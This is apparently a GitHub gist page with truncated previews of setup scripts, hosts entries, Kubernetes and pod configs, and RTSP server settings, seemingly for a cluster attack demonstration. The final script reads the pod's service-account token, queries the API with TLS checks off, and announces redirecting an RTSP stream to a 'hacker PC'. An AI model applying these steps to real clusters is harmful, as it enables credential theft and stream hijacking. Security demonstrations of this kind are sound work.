This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm | |
| cat <<EOF > ~/.tmux.conf | |
| # List of plugins | |
| set -g @plugin 'tmux-plugins/tpm' | |
| set -g @plugin 'tmux-plugins/tmux-sensible' | |
| # Plugin: tmux-resurrect |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 192.168.10.195 traefik.fiduciaedge.io | |
| 192.168.10.195 vault.fiduciaedge.io | |
| 192.168.10.195 mender.fiduciaedge.io | |
| 192.168.10.195 minio.mender.fiduciaedge.io | |
| 192.168.10.195 api.fiduciaedge.io | |
| 192.168.10.195 prometheus.fiduciaedge.io | |
| 192.168.10.195 alertmanager.fiduciaedge.io | |
| 192.168.10.195 grafana.fiduciaedge.io |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Add letsencrypt trust store to Ubuntu in case it's not added | |
| CERT_FILE="LetsEncryptAcmeCA.crt" | |
| cat <<EOF > $CERT_FILE | |
| -----BEGIN CERTIFICATE----- | |
| MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw | |
| TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh | |
| cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw | |
| WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apiVersion: apps/v1 | |
| kind: Deployment | |
| metadata: | |
| name: alpine | |
| spec: | |
| replicas: 1 | |
| selector: | |
| matchLabels: | |
| app: alpine | |
| template: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apiVersion: apps/v1 | |
| kind: Deployment | |
| metadata: | |
| annotations: | |
| deployment.kubernetes.io/revision: "1" | |
| kubectl.kubernetes.io/last-applied-configuration: | | |
| {"apiVersion":"apps/v1","kind":"Deployment","metadata":{"annotations":{},"name":"portainer-agent","namespace":"portels":{"app":"portainer-agent"}},"template":{"metadata":{"labels":{"app":"portainer-agent"}},"spec":{"containers":[{"env":,{"name":"AGENT_CLUSTER_ADDR","value":"portainer-agent-headless"},{"name":"KUBERNETES_POD_IP","valueFrom":{"fieldRef":{"f"portainer/agent:latest","imagePullPolicy":"Always","name":"portainer-agent","ports":[{"containerPort":9001,"protocol":"Ter-sa-clusteradmin"}}}} | |
| creationTimestamp: "2021-10-26T04:54:58Z" | |
| generation: 1 | |
| name: portainer-agent |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "metadata": { | |
| "name": "alpine-atk-priv", | |
| "namespace": "default", | |
| "attempt": 1, | |
| "uid": "hdishd83djaidwnduwk28bcsb" | |
| }, | |
| "log_directory": "/tmp", | |
| "linux": { | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "metadata": { | |
| "name": "busybox" | |
| }, | |
| "image":{ | |
| "image": "busybox" | |
| }, | |
| "command": [ | |
| "top" | |
| ], |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "source": "publisher", | |
| "sourceProtocol": "automatic", | |
| "sourceAnyPortEnable": false, | |
| "sourceFingerprint": "", | |
| "sourceOnDemand": false, | |
| "sourceOnDemandStartTimeout": "10s", | |
| "sourceOnDemandCloseAfter": "10s", | |
| "sourceRedirect": "", | |
| "disablePublisherOverride": false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "source": "publisher", | |
| "sourceProtocol": "automatic", | |
| "sourceAnyPortEnable": false, | |
| "sourceFingerprint": "", | |
| "sourceOnDemand": false, | |
| "sourceOnDemandStartTimeout": "10s", | |
| "sourceOnDemandCloseAfter": "10s", | |
| "sourceRedirect": "", | |
| "disablePublisherOverride": false, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "Checking list of running services in k8s cluster..." | |
| # get list of running services | |
| kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1 | |
| if [ $? -eq 0 ]; then | |
| sleep 5 | |
| echo "Redirecting RTSP stream to hacker PC..." | |
| # modify rtsp stream |